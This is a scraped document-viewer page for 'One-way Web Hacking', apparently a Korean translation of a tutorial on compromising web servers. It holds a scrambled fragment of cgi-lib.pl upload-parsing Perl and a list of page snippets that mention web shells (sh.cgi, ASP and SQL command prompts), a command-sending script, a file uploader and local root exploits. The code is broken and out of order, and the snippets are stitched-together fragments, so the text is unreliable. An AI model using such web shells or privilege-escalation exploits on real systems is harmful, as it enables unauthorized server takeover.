One-way Web Hacking

More documents

Recommendations

Info

} } &CgiDie("cgi-lib: reached end of input while seeking end of " . } "headers. Format of CGI input is wrong.\n$buf"); die $@ if $errflag; $head .= substr($buf, 0, $bufsize); $buf = substr($buf, $bufsize); $amt = ($left > $bufsize ? $bufsize : $left); $errflag = (($got = read(STDIN, $buf, $amt, length($buf))) != $amt); die "Short Read: wanted $amt, got $got\n" if $errflag; $left -= $amt; $head .= substr($buf, 0, $lpos+2); push (@in, $head); @heads = split("\r\n", $head); ($cd) = grep (/^\s*Content-Disposition:/i, @heads); ($ct) = grep (/^\s*Content-Type:/i, @heads); ($name) = $cd =~ /\bname="([^"]+)"/i; #"; ($name) = $cd =~ /\bname=([^\s:;]+)/i unless defined $name; ($fname) = $cd =~ /\bfilename="([^"]*)"/i; #"; ($fname) = $cd =~ /\bfilename=([^\s:;]+)/i unless defined $fname; $incfn{$name} .= (defined $in{$name} ? "\0" : "") . (defined $fname ? $fname : ""); ($ctype) = $ct =~ /^\s*Content-type:\s*"([^"]+)"/i; #"; ($ctype) = $ct =~ /^\s*Content-Type:\s*([^\s:;]+)/i unless defined $ctype; $inct{$name} .= (defined $in{$name} ? "\0" : "") . $ctype; if ($writefiles && defined $fname) { $fn = $fname; $fn =~ tr/\"//d; $fn =~ tr/\\/\//;
1; } } @dummy = split(/\//, $fn); $fn = $dummy[$#dummy]; open (FILE, ">$fn") || &CgiDie("Couldn't open $fn\n"); binmode (FILE); substr($buf, 0, $lpos+4) = ''; undef $fname; undef $ctype; END_MULTIPART } if ($errflag) { local ($errmsg, $value); $errmsg = $@ || $errflag; foreach $value (values %insfn) { } unlink(split("\0",$value)); &CgiDie($errmsg); } else { } } else { } &CgiDie("cgi-lib.pl: Unknown Content-type: $ENV{'CONTENT_TYPE'}\n"); $insfn = $insfn; $incfn = $incfn; $inct = $inct; $^W = $perlwarn; return ($errflag ? undef : scalar(@in)); sub PrintHeader {
Page 1 and 2: One-way Web Hacking "Necessity is t
Page 3 and 4: 6.1.1 Windows 공격 툴 업로드
Page 5 and 6: web application server는 스크립
Page 7 and 8: 3.0 entry point 찾기 one-way hack
Page 9 and 10: usr/local/apache/cgi-bin/sh.cgi| sh
Page 11 and 12: 12/07/00 12:50p weblogic 12/07/00
Page 13 and 14: drwxrwxr-x 2 root root 4096 Feb 2 2
Page 15 and 16: } print "By Saumil Shah (c) net-squ
Page 17 and 18: ## uncomment the while loop below #
Page 19 and 20: # Able to send arbitrary commands t
Page 21 and 22: @commands = ("\n", "\necho 'Content
Page 23 and 24: } print S 'POST '. $file. " HTTP/1.
Page 25 and 26: C:\Inetpub\scripts>exit $ post_sh.p
Page 27 and 28: 웹 기반의 command prompt와 같
Page 29 and 30: {$errflag="Short Read: wanted $len,
Page 31: } die $@ if $errflag; if ($name) {
Page 35 and 36: } sub MyBaseUrl { } local ($ret, $p
Page 37 and 38: } sub PrintEnv { } &PrintVariables(
Page 39 and 40: ASP 기반의 command prompt 스크
Page 41 and 42: %> } } } catch(IOException e) { }
Page 43 and 44: 위의 명령들은 목표 웹 서
Page 45 and 46: else { } $file = '/'; if(defined($A
Page 47 and 48: sub httpconnect { } my ($server, $p
Page 49 and 50: 5.0 File uploader 목표 웹 서버
Page 51 and 52: Else Else Else Binary = Empty Err.R
Page 53 and 54: sFrom = LCase(From) PosB = InStr(sF
Page 55 and 56: Function vbsSaveAs(FileName, ByteAr
Page 57 and 58: #!/usr/bin/perl require "cgi-lib.pl
Page 59 and 60: 권한 상승 exploit이 비상호
Page 61 and 62: 6.1.2 idq.dll - 권한 상승 다
Page 63 and 64: * Linux kernel ptrace/kmod local ro
Page 65 and 66: unsigned long * src; } int i, len;
Page 67 and 68: if (err == -1) } fatal("[-] Unable
Page 69 and 70: eturn 0; } 아래의 스크린샷
Page 71 and 72: 7.0 웹 기반의 SQL Command Promp
Page 73 and 74: --> database. Present version works
Page 75 and 76: Response.write("") Response.write("
Page 77 and 78: Response.write("") Response.write("
Page 79 and 80: Response.Write "" For F = 0 to Numb
Page 81 and 82: Query String:
Page 83 and 84:
7.4 웹 어플리케이션 도용
Page 85 and 86:
7.6 저장된 프로시저 실행
Page 87:
SSL은 어플리케이션을 보호
show all

One-way Web Hacking

You also want an ePaper? Increase the reach of your titles

Delete template?

Save as template?